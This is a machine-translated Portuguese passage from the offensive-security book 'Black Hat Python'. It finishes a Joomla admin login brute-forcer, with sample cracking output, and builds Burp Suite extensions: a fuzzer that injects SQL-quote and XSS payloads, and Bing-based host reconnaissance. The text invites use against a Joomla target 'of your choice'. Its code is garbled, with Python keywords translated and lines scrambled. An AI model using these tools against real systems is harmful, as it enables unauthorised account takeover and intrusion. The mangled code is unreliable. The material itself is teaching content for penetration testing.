ele. Em seguida, fazemos a solicitação inicial para recuperar o formulário de login. Quando temos o HTML bruto,
passamos para nosso HTMLparser e chamamos seu método feed ÿ, que retorna um dicionário de todos os
elementos de formulário recuperados. Depois de analisarmos o HTML com sucesso, substituímos os campos de
nome de usuário e senha por nossa tentativa de força bruta ÿ. Em seguida, codificamos em URL as variáveis POST
ÿ e as passamos em nossa solicitação HTTP subsequente. Após recuperarmos o resultado de nossa tentativa de
autenticação, testamos se a autenticação foi bem-sucedida ou não ÿ. Agora vamos implementar o núcleo do nosso
processamento HTML. Adicione a seguinte classe ao seu script joomla_killer.py :
classe BruteParser(HTMLParser): def
__init__(self): HTMLParser.__init__(self)
self.tag_results = {}
ÿ

def handle_starttag(self, tag, attrs): if tag == "input":


ÿ tag_name = Nenhum tag_value = Nenhum
para nome, valor em attrs: if nome ==
"nome":

ÿ tag_name = valor if
nome == "valor":
ÿ tag_value = valor

se tag_name não for None:


ÿ self.tag_results[tag_name] = valor

Isso forma a classe HTMLparsing específica que queremos usar em nosso destino. Depois de ter os fundamentos
do uso da classe HTMLParser , você pode adaptá-la para extrair informações de qualquer aplicativo da Web que
possa estar atacando. A primeira coisa que fazemos é criar um dicionário no qual nossos
osMachine Translated
resultados by Google
serão armazenados ÿ. Quando chamamos a função feed , ela passa todo o documento HTML e nossa função
handle_starttag é chamada sempre que uma tag é encontrada. Em particular, estamos procurando tags HTMLinput ÿ e nosso
processamento principal ocorre quando determinamos que encontramos uma.
Começamos a iterar sobre os atributos da tag e, se encontrarmos o nome ÿ ou valor ÿ atributos, os associamos no dicionário
tag_results ÿ. Após o HTML ter sido processado, nossa classe de força bruta pode substituir os campos de nome de usuário
e senha, deixando o restante dos campos intactos.

HTM LPA R SER 101

Existem três métodos principais que você pode implementar ao usar a classe HTMLParser: handle_starttag , handle_endtag e handle_data . A função
handle_starttag será chamada sempre que uma tag HTML de abertura for encontrada, e o oposto é verdadeiro para a função handle_endtag , que é
chamada sempre que uma tag HTML de fechamento for encontrada. A função handle_data é chamada quando há texto bruto entre as tags. Os protótipos
de função para cada função são ligeiramente diferentes, como segue:

handle_starttag(self, tag, attribute) handle_endttag(self,


tag) handle_data(self, data)

Um exemplo rápido para destacar isso:

<title>Rochas de píton!</title>

handle_starttag => variável de tag seria "title" handle_data =>


variável de dados seriade
"Python
tag seria
rocks!"
"title"handle_endtag => variável

Com esse entendimento básico da classe HTMLParser , você pode fazer coisas como analisar formulários, localizar links para indexação, extrair todo o
texto puro para fins de mineração de dados ou localizar todas as imagens em uma página.

Para finalizar nosso brute forcer Joomla, vamos copiar e colar a função build_wordlist de nossa seção anterior e adicionar o
seguinte código:
# cole a função build_wordlist aqui

palavras = build_wordlist(wordlist_file)

bruter_obj = Bruter(nome de usuário,palavras)


bruter_obj.run_bruteforce()

É isso! Simplesmente passamos o nome de usuário e nossa lista de palavras para nossa classe Bruter e vemos a mágica
acontecer.
Machine Translated by Google
Chutando os pneus Se você
não tem o Joomla instalado em sua VM Kali, então você deve instalá-lo agora. Minha VM de destino está em
192.168.112.131 e estou usando uma lista de palavras fornecida por Cain e Abel, [12] um popular
ferramentas
conjunto
de força
de
bruta e cracking. Já predefini o nome de usuário para admin e a senha para justin na instalação do Joomla para
garantir que funcione. Em seguida, adicionei justin ao arquivo de lista de palavras cain.txt cerca de 50 entradas ou
mais abaixo do arquivo. Ao executar o script, obtenho a seguinte saída:
$ python2.7 joomla_killer.py Configuração
concluída para: admin Tentando: admin: 0racl38
(306697 restantes)
Tentando: admin: !@#$% (306697 restantes)
Tentando: admin: !@#$%^ (306697 à esquerda) --snip--
Tentando: admin: 1p2o3i (306659 à esquerda)

Tentando: admin: 1qw23e (306657 restantes)


Tentando: admin: 1q2w3e (306656 restantes)
Tentando: admin: 1sanjose (306655 restantes)
Tentando: admin: 2 (306655 restantes)
Tentando: admin: justin (306655 à esquerda)
Tentando: admin: 2112 (306646 restantes)
[*] Bruteforce bem-sucedido.
[*] Nome de usuário: admin
[*] Senha: justin [*] Esperando
que outros tópicos saiam...
Tentando: admin: 249 (306646 restantes)
Tentando: admin: 2welcome (306646 à esquerda)

Você pode ver que ele aplica força bruta e faz login no console do administrador do Joomla. Para verificar, é
claro que você faria o login manualmente e se certificaria. Depois de testar isso localmente e ter certeza de
que funciona, você pode usar essa ferramenta em uma instalação de destino do Joomla de sua escolha.

[10] Projeto DirBuster: https:// www.owasp.org/ index.php/ Category:OWASP_DirBuster_Project

[11] Projeto SVNDigger: https:// www.mavitunasecurity.com/ blog/ svn-digger-better-lists-for-forced-browsing/

[12] Caim e Abel: http:// www.oxid.it/ cain.html


Machine Translated by Google
Capítulo 6. Estendendo o Burp Proxy
Se você já tentou hackear um aplicativo da web, provavelmente já usou o Burp Suite para realizar spidering, tráfego
de navegador proxy e realizar outros ataques. Versões recentes do Burp Suite incluem a capacidade de adicionar
suas próprias ferramentas, chamadas de Extensões, ao Burp. Usando Python, Ruby ou Java puro, você pode
adicionar painéis na GUI do Burp e criar técnicas de automação no Burp Suite. Vamos aproveitar esse recurso e
adicionar algumas ferramentas úteis ao Burp para realizar ataques e reconhecimento estendido. A primeira
extensão nos permitirá utilizar uma solicitação HTTP interceptada do Burp Proxy como uma semente para criar um
fuzzer de mutação que pode ser executado no Burp Intruder. A segunda extensão fará interface com a API do
Microsoft Bing para nos mostrar todos os hosts virtuais localizados no mesmo endereço IP de nosso site de destino,
bem como quaisquer subdomínios detectados para o domínio de destino.
Presumo que você já tenha jogado com o Burp antes e saiba como interceptar solicitações com a ferramenta
Proxy, bem como enviar uma solicitação interceptada para o Burp Intruder. Se você precisar de um tutorial sobre
como realizar essas tarefas, visite PortSwigger Web Security (http:// www.portswigger.net/) para começar.

Devo admitir que, quando comecei a explorar a API do Burp Extender, levei algumas tentativas para entender
como ela funcionava. Achei um pouco confuso, já que sou um cara puramente Python e tenho experiência limitada
em desenvolvimento em Java. Mas encontrei várias extensões no site do Burp que me permitem ver como outras
pessoas desenvolveram extensões e usei essa arte anterior para me ajudar a entender como começar a
implementar meu próprio código. Abordarei algumas noções básicas sobre como estender a funcionalidade, mas
também mostrarei como usar a documentação da API como um guia para desenvolver suas próprias extensões.
Machine Translated by Google
Configuração

Primeiro, baixe o Burp em http:// www.portswigger.net/ e prepará-lo para ir. Por mais triste que seja admitir isso, você precisará
de uma instalação Java moderna, para a qual todos os sistemas operacionais possuem pacotes ou instaladores. A próxima
etapa é obter o arquivo JAR independente do Jython (uma implementação do Python escrita em Java); vamos apontar Burp
para isso. Você pode encontrar este arquivo JAR no site No Starch junto com o restante do código do livro (http://
www.nostarch.com/ blackhatpython/) ou visite o site oficial, http:// www.jython.org/ downloads.html, e selecione o Jython 2.7
Standalone Installer.
Não se deixe enganar pelo nome; é apenas um arquivo JAR. Salve o arquivo JAR em um local fácil de lembrar, como sua
área de trabalho.

Em seguida, abra um terminal de linha de comando e execute o Burp da seguinte forma:

#> java -XX:MaxPermSize=1G -jar burpsuite_pro_v1.6.jar

Isso fará com que o Burp seja ativado e você deverá ver sua IU cheia de guias maravilhosas, conforme mostrado na Figura 6-1.

Agora vamos apontar Burp para nosso interpretador Jython. Clique na guia Extender e, em seguida, clique na guia
Opções . Na seção Python Environment, selecione o local de seu arquivo Jython JAR, conforme mostrado na Figura 6-2.

Você pode deixar o resto das opções de lado e devemos estar prontos para começar a codificar nossa primeira extensão.
Vamos agitar!

Figura 6-1. Burp Suite GUI carregado corretamente


Machine Translated by Google

Figura 6-2. Configurando o local do interpretador Jython


Machine Translated by Google
Burp Fuzzing Em
algum momento de sua carreira, você pode se ver atacando um aplicativo ou serviço da Web que não
permite o uso de ferramentas tradicionais de avaliação de aplicativos da Web. Seja trabalhando com um
protocolo binário agrupado em tráfego HTTP ou solicitações JSON complexas, é fundamental que você
seja capaz de testar bugs de aplicativos da web tradicionais. O aplicativo pode estar usando muitos
parâmetros ou está ofuscado de alguma forma que a execução de um teste manual levaria muito tempo.
Também fui culpado de executar ferramentas padrão que não são projetadas para lidar com protocolos
estranhos ou mesmo JSON em muitos casos. É aqui que é útil poder aproveitar o Burp para estabelecer uma
linha de base sólida de tráfego HTTP, incluindo cookies de autenticação, enquanto passa o corpo da
solicitação para um fuzzer personalizado que pode manipular a carga útil da maneira que você escolher.
Vamos trabalhar em nossa primeira extensão do Burp para criar o fuzzer de aplicativo da Web mais simples
do mundo, que você pode expandir para algo mais inteligente.
O Burp tem várias ferramentas que você pode usar ao realizar testes de aplicativos da web. Normalmente, você
interceptará todas as solicitações usando o Proxy e, quando vir uma solicitação interessante, você a enviará para outra
ferramenta Burp. Uma técnica comum que uso é enviá-los para a ferramenta Repeater, que me permite reproduzir o
tráfego da web, bem como modificar manualmente quaisquer pontos interessantes. Para executar ataques mais
automatizados em parâmetros de consulta, você enviará uma solicitação para a ferramenta Intruder, que tenta descobrir
automaticamente quais áreas do tráfego da Web devem ser modificadas e, em seguida, permite que você use uma
variedade de ataques para tentar obter erros mensagens ou identificar vulnerabilidades. Uma extensão Burp pode
interagir de várias maneiras com o conjunto de ferramentas Burp e, em nosso caso, adicionaremos funcionalidades
adicionais diretamente à ferramenta Intruder.

Meu primeiro instinto natural é dar uma olhada na documentação da API Burp para determinar quais classes
Burp eu preciso estender para escrever minha extensão personalizada. Você pode acessar esta documentação
clicando na guia Extender e, em seguida, na guia APIs . Isso pode parecer um pouco assustador porque parece (e é)
muito Java-y. A primeira coisa que notamos é que os desenvolvedores do Burp nomearam apropriadamente cada
classe para que seja fácil descobrir por onde queremos começar. Em particular, como estamos analisando solicitações
da Web difusas durante um ataque do Intruder, vejo as classes IIntruderPayloadGeneratorFactory e
IIntruderPayloadGenerator . Vamos dar uma olhada no que a documentação diz para a classe
IIntruderPayloadGeneratorFactory :
/**
* As extensões podem implementar esta interface e então chamar ÿ *
IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* para registrar uma fábrica para cargas personalizadas do Intruder. */

interface pública IIntruderPayloadGeneratorFactory {

/**
* Este método é usado pelo Burp para obter o nome do gerador de carga útil. Isso será exibido
*
como uma opção na * interface do usuário do intruso quando o usuário selecionar usar
cargas úteis * geradas por extensão.

*
* @return O nome do gerador de carga útil. */ ÿ String
getGeneratorName();

/**
* Este método é usado pelo Burp quando o usuário inicia um ataque Intruder * que usa este
gerador de carga útil.
Machine Translated by Google
* @param attack * Um
objeto IIntruderAttack que pode ser consultado para obter detalhes * sobre o ataque no qual o gerador
de payload será usado.

* @return Uma nova instância de *


IIntruderPayloadGenerator que será usada para gerar * cargas úteis para o ataque. */

ÿ IIntruderPayloadGenerator createNewInstance(ataque IIntruderAttack);


}

A primeira parte da documentação ÿ nos diz para registrar nossa extensão corretamente no Burp. Vamos
estender a classe Burp principal, bem como a classe IIntruderPayloadGeneratorFactory .
Em seguida, vemos que Burp espera que duas funções estejam presentes em nossa
classe principal. A função getGeneratorName ÿ será chamada por Burp para recuperar o nome de nossa
extensão, e espera-se que retornemos uma string. A função createNewInstance ÿ espera que retornemos
uma instância do IIntruderPayloadGenerator, que será uma segunda classe que teremos que criar.
Agora vamos implementar o código Python real para atender a esses requisitos e, em seguida, veremos
como a classe IIntruderPayloadGenerator é adicionada. Abra um novo arquivo Python, nomeie-o como
bhp_fuzzer.py e insira o seguinte código:
ÿ de burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory from burp import
IIntruderPayloadGenerator from java.util import List, ArrayList

importar aleatório

ÿ class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): def registerExtenderCallbacks(self,


callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers()

ÿ callbacks.registerIntruderPayloadGeneratorFactory(self)

Retorna
ÿ def getGeneratorName(self):
return "Gerador de carga útil BHP"

ÿ def createNewInstance(self, attack): return BHPFuzzer(self,


attack)

Portanto, este é o esqueleto simples do que precisamos para satisfazer o primeiro conjunto de requisitos
para nossa extensão. Primeiro temos que importar a classe IBurpExtender ÿ, que é um requisito para cada
extensão que escrevemos. Seguimos isso importando nossas classes necessárias para criar um gerador
de carga útil do Intruder. Em seguida, definimos nossa classe BurpExtender ÿ, que estende as classes
IBurpExtender e IIntruderPayloadGeneratorFactory . Em seguida, usamos a função
registerIntruderPayloadGeneratorFactory ÿ para registrar nossa classe para que a ferramenta Intruder saiba
que podemos gerar cargas úteis. Em seguida, implementamos a função getGeneratorName ÿ para
simplesmente retornar o nome do nosso gerador de carga útil. O último passo é a função createNewInstance
ÿ que recebe o parâmetro do ataque e retorna uma instância da classe IIntruderPayloadGenerator , que
chamamos de BHPFuzzer.
Vamos dar uma olhada na documentação da classe IIntruderPayloadGenerator para sabermos o que
implementar.
/**
Machine
* EstaTranslated by Google
interface é usada para geradores de carga útil personalizados do Intruder.
* Extensões
* que registraram um *
IIntruderPayloadGeneratorFactory devem retornar uma nova instância * desta interface quando
necessário como parte de um novo ataque Intruder. */

interface pública IIntruderPayloadGenerator { /**

* Este método é usado pelo Burp para determinar se a carga


*
gerador é capaz de fornecer quaisquer cargas úteis adicionais.
*
* @return As extensões devem retornar * false
quando todas as cargas úteis disponíveis forem usadas, * caso contrário, true

*/
ÿ boolean hasMorePayloads();

/**
* Este método é usado pelo Burp para obter o valor do próximo payload.
*
* @param baseValue O valor base da posição atual da carga útil.
* Este valor pode ser nulo se o conceito de um valor base não for * aplicável (por exemplo, em
um ataque de aríete). * @return A próxima carga a ser usada no ataque. */

ÿ byte[] getNextPayload(byte[] baseValue);


/**
* Este método é usado pelo Burp para redefinir o estado da carga útil
*
generator para que a próxima chamada para *
getNextPayload() retorne a primeira carga novamente. Este * método será invocado
quando um ataque usar a mesma carga útil
*
gerador para mais de uma posição de carga útil, por exemplo em um
* ataque de atirador. */

ÿ void reset();
}

Ok! Portanto, precisamos implementar a classe base e ela precisa expor três funções. A primeira
função, hasMorePayloads ÿ, existe simplesmente para decidir se as solicitações mutantes devem continuar
de volta ao Burp Intruder. Usaremos apenas um contador para lidar com isso e, uma vez que o contador esteja
no máximo que definimos, retornaremos False para que não sejam gerados mais casos de fuzzing. A função
getNextPayload ÿ receberá a carga útil original da solicitação HTTP que você capturou. Ou, se você selecionou
várias áreas de carga útil na solicitação HTTP, receberá apenas os bytes que solicitou para serem difundidos
(falaremos mais sobre isso posteriormente). Essa função nos permite fuzzizar o caso de teste original e depois
retorná-lo para que Burp envie o novo valor fuzzed. A última função, redefinir ÿ, existe para que, se gerarmos
um conjunto conhecido de solicitações fuzzed — digamos cinco delas — então, para cada posição de carga
que designamos na guia Intruder, iremos iterar pelos cinco valores fuzzed.
Nosso fuzzer não é tão meticuloso, e sempre irá manter fuzzing aleatório em cada requisição HTTP. Agora
vamos ver como isso fica quando o implementamos em Python. Adicione o seguinte código ao final de
bhp_fuzzer.py:
ÿ class BHPFuzzer(IIntruderPayloadGenerator): def __init__(self,
extender, attack):
self._extender = extender self._helpers
= extender._helpers self._attack = ataque
self.max_payloads = 10 self.num_iterations = 0
ÿ

Retorna
Machine Translated by Google
ÿ def hasMorePayloads(self): if self.num_iterations
== self.max_payloads:
retorna falso
outro:
retornar Verdadeiro

ÿ def getNextPayload(self,current_payload):

# converte em string payload =


ÿ "".join(chr(x) for x in current_payload) # chama nosso modificador simples
para fuzzar o POST payload = self.mutate_payload(payload)
ÿ

# aumenta o número de tentativas de fuzzing


ÿ self.num_iterations += 1

carga útil de retorno

def reset(self):
self.num_iterations = 0 return

Começamos definindo nossa classe BHPFuzzer ÿ que estende a classe IIntruderPayloadGenerator.


Definimos as variáveis de classe necessárias, bem como adicionamos as variáveis max_payloads ÿ e
num_iterations para que possamos acompanhar quando informar ao Burp que terminamos o fuzzing. É claro
que você pode deixar a extensão rodar indefinidamente, se quiser, mas, para teste, deixaremos isso como
está. Em seguida, implementamos a função hasMorePayloads ÿ que simplesmente verifica se atingimos o
número máximo de iterações fuzzing. Você pode modificar isso para executar continuamente a extensão
sempre retornando True. A função getNextPayload ÿ é aquela que recebe o payload HTTP original e é aqui que
estaremos fuzzing. A variável current_payload chega como um array de bytes, então convertemos isso em uma
string ÿ e a passamos para nossa função fuzzing mutate_payload ÿ.
Em seguida, incrementamos a variável num_iterations ÿ e retornamos a carga útil alterada. Nossa última função
é a função reset que retorna sem fazer nada.
Agora vamos usar a função fuzzing mais simples do mundo, que você pode modificar como quiser.
Como esta função está ciente da carga útil atual, se você tiver um protocolo complicado que precise de
algo especial, como uma soma de verificação CRC no início da carga útil ou um campo de comprimento, você
pode fazer esses cálculos dentro desta função antes de retornar, o que torna extremamente flexível. Adicione o
seguinte código a bhp_fuzzer.py, certificando-se de que a função mutate_payload esteja tabulada em nossa
classe BHPFuzzer :

def mutate_payload(self,original_payload): # escolha um


modificador simples ou até mesmo chame um seletor de script externo =
random.randint(1,3)

# selecione um deslocamento aleatório no payload para alterar offset =


random.randint(0,len(original_payload)-1) payload = original_payload[:offset]

# random offset insere uma tentativa de injeção de SQL if picker == 1:


payload +=
"'"

# bloqueia uma tentativa de XSS


em if picker == 2: payload +=
"<script>alert('BHP!');</script>"

# repita um pedaço do payload original um número aleatório if picker == 3:


Machine Translated by Google
chunk_length = random.randint(len(payload[offset:]),len(payload)-1) repetidor
= random.randint(1,10)

para i in range(repetidor): payload +=


original_payload[offset:offset+chunk_length]

# adiciona os bits restantes da carga útil +=


original_payload[offset:]

carga útil de retorno

Este fuzzer simples é bastante auto-explicativo. Escolheremos aleatoriamente entre três modificadores: um teste de
injeção de SQL simples com aspas simples, uma tentativa de XSS e, em seguida, um modificador que seleciona um
pedaço aleatório na carga útil original e o repete um número aleatório de vezes. Agora temos uma extensão Burp
Intruder que podemos usar. Vamos dar uma olhada em como podemos carregá-lo.
Machine Translated by Google
Chutando os pneus
Primeiro, temos que carregar nossa extensão e garantir que não haja erros. Clique na guia Extender no Burp
e, em seguida, clique no botão Adicionar . Aparece uma tela que permitirá que você aponte Burp para o fuzzer.
Certifique-se de definir as mesmas opções mostradas na Figura 6-3.

Figura 6-3. Configurando o Burp para carregar nossa extensão

Clique em Avançar e o Burp começará a carregar nossa extensão. Se tudo correr bem, Burp deve indicar que
a extensão foi carregada com sucesso. Se houver erros, clique na guia Erros , depure quaisquer erros de
digitação e clique no botão Fechar . A tela do Extender agora deve se parecer com a Figura 6-4.
Machine Translated by Google

Figura 6-4. Burp Extender mostrando que nossa extensão está carregada

Você pode ver que nossa extensão está carregada e que Burp identificou que um gerador de carga útil Intruder
está registrado. Agora estamos prontos para alavancar nossa extensão em um ataque real. Certifique-se de que seu
navegador da Web esteja configurado para usar o Burp Proxy como um proxy de host local na porta 8080 e vamos atacar
o mesmo aplicativo da Web Acunetix do Capítulo 5. Simplesmente navegue até:

http://testphp.vulnweb.com

Como exemplo, usei a pequena barra de pesquisa do site deles para enviar uma pesquisa pela string “teste”.
A Figura 6-5 mostra como posso ver essa solicitação na guia HTTP history da guia Proxy e cliquei com o botão direito na
solicitação para enviá-la ao Intruder.
Machine Translated by Google

Figura 6-5. Selecionando uma solicitação HTTP para enviar ao Intruder

Agora mude para a guia Intruder e clique na guia Positions . Aparece uma tela que mostra cada parâmetro
de consulta destacado. Este é o Burp identificando os pontos onde deveríamos estar fuzzing. Você pode tentar
mover os delimitadores de carga útil ou selecionar toda a carga útil para fuzz, se quiser, mas, em nosso caso,
vamos deixar que o Burp decida onde vamos fazer o fuzz. Para maior clareza, consulte a Figura 6-6, que mostra
como funciona o realce de carga útil.

Agora clique na guia Payloads . Nessa tela, clique no menu suspenso Tipo de carga útil e selecione Extensão
gerada. Na seção Opções de carga útil, clique no botão Selecionar gerador... e escolha Gerador de carga
útil BHP no menu suspenso. Sua tela de Payload agora deve se parecer com a Figura 6-7.
Machine Translated by Google

Figura 6-6. Burp Intruder destacando parâmetros de carga útil

Figura 6-7. Usando nossa extensão fuzzing como um gerador de carga útil
Machine
Agora Translated
estamos by Google
prontos para enviar nossos pedidos. Na parte superior da barra de menu Burp, clique em Intruso e
selecione Iniciar ataque. Isso começa a enviar solicitações difusas e você poderá passar rapidamente pelos
resultados. Quando executei o fuzzer, recebi a saída conforme mostrado na Figura 6-8.

Figura 6-8. Nosso fuzzer rodando em um ataque Intruder

Como você pode ver no aviso na linha 61 da resposta, na solicitação 5, descobrimos o que parece ser uma
vulnerabilidade SQLinjection.

Agora, é claro, nosso fuzzer é apenas para fins de demonstração, mas você ficará surpreso com a eficácia dele para
fazer um aplicativo da Web gerar erros, divulgar caminhos de aplicativos ou se comportar de maneiras que muitos
outros scanners podem perder. O importante é entender como conseguimos alinhar nossa extensão personalizada
aos ataques do Intruder. Agora vamos criar uma extensão que nos ajudará a realizar algum reconhecimento estendido
em um servidor web.
Machine Translated by Google
Bing for Burp Quando
você está atacando um servidor da Web, não é incomum que uma única máquina atenda a vários aplicativos
da Web, alguns dos quais você pode não conhecer. Obviamente, você deseja descobrir esses nomes de host
expostos no mesmo servidor da Web porque eles podem fornecer uma maneira mais fácil de obter um shell.
Não é raro encontrar uma aplicação web insegura ou mesmo recursos de desenvolvimento localizados na mesma
máquina que seu alvo. O mecanismo de pesquisa Bing da Microsoft possui recursos de pesquisa que permitem consultar
o Bing para todos os sites encontrados em um único endereço IP (usando o modificador de pesquisa "IP"). O Bing também
informará todos os subdomínios de um determinado domínio (usando o modificador “domínio”).

Agora poderíamos, é claro, usar um raspador para enviar essas consultas ao Bing e, em seguida, raspar o HTML nos
resultados, mas isso seria falta de educação (e também violaria os termos de uso da maioria dos mecanismos de
pesquisa). Para evitar problemas, podemos usar a API do Bing [13] para enviar essas consultas programaticamente e,
em seguida, analisar os resultados nós mesmos. Não implementaremos nenhuma adição sofisticada à GUI do Burp (além
de um menu de contexto) com esta extensão; simplesmente exibimos os resultados no Burp cada vez que executamos
uma consulta, e quaisquer URLs detectados no escopo de destino do Burp serão adicionados automaticamente. Como
já expliquei como ler a documentação da API do Burp e traduzi-la para Python, vamos direto ao código.

Abra bhp_bing.py e forje o seguinte código:


da importação do arroto IBurpExtender da
importação do arroto IContextMenuFactory

de javax.swing import JMenuItem de java.util import


List, ArrayList de java.net import URL

import socket import


urllib import json
import re import
base64

ÿ bing_api_key = "SUA CHAVE"

ÿ class BurpExtender(IBurpExtender, IContextMenuFactory): def registerExtenderCallbacks(self,


callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers()
self.context

= Nenhum

# configuramos nossos callbacks de


extensão.setExtensionName("BHP Bing")
ÿ callbacks.registerContextMenuFactory(self)
Retorna

def createMenuItems(self, context_menu): self.context =


context_menu menu_list = ArrayList()
menu_list.add(JMenuItem("Enviar para o Bing",
ÿ actionPerformed=self.bing_ menu)) return menu_list

Esta é a primeira parte da nossa extensão do Bing. Certifique-se de ter sua chave de API do Bing colada no lugar ÿ;
você tem permissão para algo como 2.500 pesquisas gratuitas por mês. Começamos definindo nossa classe
BurpExtender ÿ que implementa a interface padrão IBurpExtender e a IContextMenuFactory, que nos permite fornecer
um menu de contexto quando um usuário clica com o botão direito do mouse em uma solicitação no Burp. Registramos
nosso manipulador de menu ÿ para que possamos determinar qual site o usuário
Machine
clicado, o Translated by Google
que nos permite construir nossas consultas do Bing. A última etapa é configurar nossa função
createMenuItem , que receberá um objeto IContextMenuInvocation que usaremos para determinar qual solicitação HTTP
foi selecionada. A última etapa é renderizar nosso item de menu e fazer com que a função bing_menu manipule o evento
click ÿ. Agora vamos adicionar a funcionalidade para executar a consulta do Bing, gerar os resultados e adicionar
quaisquer hosts virtuais descobertos ao escopo de destino do Burp.

def bing_menu(self,evento):

# pegue os detalhes do que o usuário clicou ÿ http_traffic =


self.context.getSelectedMessages()

imprima "%d solicitações destacadas" % len(http_traffic)

para tráfego em http_traffic: http_service =


traffic.getHttpService() host = http_service.getHost()

print "Host selecionado pelo usuário: %s" % host

self.bing_search(host)

Retorna

def bing_search(self,host):

# verifica se temos um IP ou hostname


is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host)

ÿ if is_ip: ip_address =
host domain
= Falso
outro:
endereço_ip = domínio socket.gethostbyname(host)
= Verdadeiro

bing_query_string = "'ip:%s'" % endereço_ip


ÿ self.bing_query(bing_query_string)

se domínio:
bing_query_string = "'domínio:%s'" % host
ÿ self.bing_query(bing_query_string)

Nossa função bing_menu é acionada quando o usuário clica no item do menu de contexto que definimos.
Recuperamos todas as solicitações HTTP que foram destacadas ÿ e, em seguida, recuperamos a parte do host da
solicitação para cada uma e a enviamos para nossa função bing_search para processamento adicional. A função
bing_search primeiro determina se recebemos um endereço IP ou um nome de host ÿ. Em seguida, consultamos o
Bing em busca de todos os hosts virtuais que tenham o mesmo endereço IP ÿ do host contido na solicitação HTTP
que foi clicada com o botão direito do mouse. Se um domínio foi passado para nossa extensão, também fazemos uma
pesquisa secundária ÿ para quaisquer subdomínios que o Bing possa ter indexado. Agora vamos instalar o encanamento
para usar a API HTTP do Burp para enviar a solicitação ao Bing e analisar os resultados. Adicione o código a seguir,
garantindo que você esteja tabulado corretamente em nossa classe BurpExtender , ou você encontrará erros.

def bing_query(self,bing_query_string):

print "Realizando pesquisa Bing: %s" % bing_query_string

# codifique nossa consulta


quote_query = urllib.quote(bing_query_string)

http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$. format=json&$top=20&Query=%s


HTTP/1.1\r\n" % quotated_query http_request += "Host: api.datamarket.azure.com\r\n"
Machinehttp_request
Translated by Google
+= "Conexão: fechar\r\n"
ÿ http_request += "Autorização: Basic %s\r\n" % base64.b64encode(":%s" % .
bing_api_key)
http_request += "User-Agent: Blackhat Python\r\n\r\n"

ÿ json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com",.
443,Verdadeiro,http_request).tostring()

ÿ json_body = json_body.split("\r\n\r\n",1)[1]

experimentar:

ÿ r = json.loads(json_body)

if len(r["d"]["resultados"]): para site em


r["d"]["resultados"]:

ÿ print "*" * 100 print


site['Título'] print site['Url']
print site['Descrição'] print "*"
* 100

j_url = URL(site['Url'])

ÿ se não for self._callbacks.isInScope(j_url): imprima "Adicionando


ao escopo Burp" self._callbacks.includeInScope(j_url)

exceto:
imprimir "Nenhum resultado do Bing"
passar

Retorna

Ok! A API HTTP do Burp exige que construamos toda a solicitação HTTP como uma string antes de enviá-la e, em
particular, você pode ver que precisamos codificar em base64 ÿ nossa chave API do Bing e usar a autenticação
básica HTTP para fazer a chamada API. Em seguida, enviamos nossa solicitação HTTP ÿ para os servidores da
Microsoft. Quando a resposta retornar, teremos a resposta completa, incluindo os cabeçalhos, então dividimos os
cabeçalhos ÿ e depois os passamos para nosso analisador JSON ÿ. Para cada conjunto de resultados, exibimos
algumas informações sobre o site que descobrimos ÿ e, se o site descoberto não estiver no escopo de destino do
Burp ÿ, nós o adicionamos automaticamente. Esta é uma ótima combinação de uso da API Jython e Python puro em
uma extensão Burp para fazer um trabalho de reconhecimento adicional ao atacar um alvo específico. Vamos dar uma v
Machine Translated by Google
Chutando os pneus Use o
mesmo procedimento que usamos para nossa extensão fuzzing para fazer a extensão de pesquisa do Bing funcionar.
Quando estiver carregado, navegue até http:// testphp.vulnweb.com/, e, em seguida, clique com o botão direito do mouse na solicitação
GET que você acabou de emitir. Se a extensão for carregada corretamente, você deverá ver a opção de menu Enviar para o Bing
exibida, conforme mostrado na Figura 6-9.

Figura 6-9. Nova opção de menu mostrando nossa extensão

Ao clicar nessa opção de menu, dependendo da saída escolhida ao carregar a extensão, você deve começar a ver os resultados do
Bing, conforme mostrado na Figura 6-10.
Machine Translated by Google

Figura 6-10. Nossa extensão fornecendo saída da pesquisa da API do Bing

E se você clicar na guia Target em Burp e selecionar Scope, verá novos itens adicionados automaticamente ao
nosso escopo de destino, conforme mostrado na Figura 6-11. O escopo de destino limita atividades como ataques,
spidering e varreduras apenas para os hosts definidos.
Machine Translated by Google

Figura 6-11. Mostrando como os hosts descobertos são adicionados automaticamente ao escopo de destino do Burp
Machine Translated by Google
Transformando o conteúdo do site em senha de ouro Muitas vezes, a
segurança se resume a uma coisa: senhas de usuários. É triste, mas é verdade. Para piorar as coisas,
quando se trata de aplicativos da web, especialmente os personalizados, é muito comum descobrir que
os bloqueios de conta não são implementados. Em outros casos, senhas fortes não são aplicadas. Nesses
casos, uma sessão de adivinhação de senha online como a do capítulo anterior pode ser apenas o ingresso
para obter acesso ao site.
O truque para adivinhar senhas online é obter a lista de palavras correta. Você não pode testar 10 milhões
de senhas se estiver com pressa, então você precisa ser capaz de criar uma lista de palavras direcionada ao
site em questão. Claro, existem scripts na distribuição do Kali Linux que rastreiam um site e geram uma lista de
palavras com base no conteúdo do site. Porém, se você já usou o Burp Spider para rastrear o site, por que enviar
mais tráfego apenas para gerar uma lista de palavras? Além disso, esses scripts geralmente têm uma tonelada de
argumentos de linha de comando para lembrar. Se você for como eu, já memorizou argumentos de linha de comando
